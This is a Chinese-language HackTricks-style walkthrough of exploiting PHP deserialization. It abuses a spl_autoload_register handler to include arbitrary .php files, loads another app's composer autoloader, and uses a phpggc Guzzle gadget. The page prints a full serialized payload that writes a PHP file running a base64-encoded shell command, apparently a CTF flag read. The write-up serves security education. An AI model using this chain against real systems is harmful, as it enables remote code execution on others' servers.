PHP - Deserialization + Autoload Classes

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)

支持 HackTricks 的其他方式:

首先,您应该查看什么是自动加载类

PHP 反序列化 + spl_autoload_register + LFI/Gadget

我们处于这样一种情况:我们在一个Web 应用程序中发现了 PHP 反序列化漏洞,但没有受到 phpggc 内部的 gadget 影响。然而,在同一个容器中有一个不同的 composer Web 应用程序,其中存在受漏洞影响的库。因此,目标是加载另一个 Web 应用程序的 composer 加载器,并利用它来加载一个 gadget,该 gadget 将利用受反序列化漏洞影响的 Web 应用程序中的库

步骤:

  • 您已经发现了一个反序列化漏洞,当前应用程序代码中没有任何 gadget

  • 您可以滥用**spl_autoload_register函数,如下所示,以加载任何具有 .php 扩展名的本地文件**

  • 为此,您使用一个反序列化,其中类的名称将在**$name中。您不能在序列化对象的类名中使用 "/" 或 ".",但代码正在将下划线**("_")替换为斜杠("/")。因此,类名如 tmp_passwd 将被转换为 /tmp/passwd.php,并且代码将尝试加载它。 一个gadget 示例将是:O:10:"tmp_passwd":0:{}

spl_autoload_register(function ($name) {

if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}

$filename = "/${name}.php";

if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});

如果您有一个文件上传并且可以上传一个带有**.php扩展名的文件,您可以直接滥用此功能**并获得RCE。

在我的情况下,我没有类似的东西,但在同一个容器中有另一个使用易受phpggc小工具攻击的库的composer网页。

  • 要加载这个其他库,首先您需要加载另一个Web应用程序的composer加载器(因为当前应用程序的加载器无法访问另一个应用程序的库)。知道应用程序的路径后,您可以很容易地实现这一点:O:28:"www_frontend_vendor_autoload":0:{}(在我的情况下,composer加载器位于/www/frontend/vendor/autoload.php中)

  • 现在,您可以加载其他应用程序的composer加载器,所以现在是生成phpggc负载的时候了。在我的情况下,我使用了**Guzzle/FW1,它允许我在文件系统中写入任何文件**。

  • 注意:生成的小工具无法正常工作,为了使其正常工作,我修改了 phpggc 的**chain.php负载,并将类的所有属性从私有更改为公共**。否则,在反序列化字符串后,创建的对象的属性将没有任何值。

  • 现在我们有了加载其他应用程序的composer加载器的方法并且有一个有效的phpggc负载,但我们需要在同一个请求中执行此操作,以便在使用小工具时加载加载器。为此,我发送了一个包含两个对象的序列化数组,如下所示:

  • 您可以首先看到加载器被加载,然后是负载

a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}

负载摘要

  • 加载同一容器中不同web应用的composer自动加载

  • 加载一个phpggc小工具,以滥用另一个web应用的库(最初易受反序列化攻击的web应用没有任何库中的小工具)

  • 该小工具将在/tmp/a.php中创建一个带有恶意命令的PHP负载文件(web应用用户无法在任何web应用的文件夹中写入)

  • 我们负载的最后部分将使用加载生成的php文件来执行命令

我需要调用两次反序列化。在我的测试中,第一次创建了/tmp/a.php文件,但未加载,第二次则正确加载。

最后更新于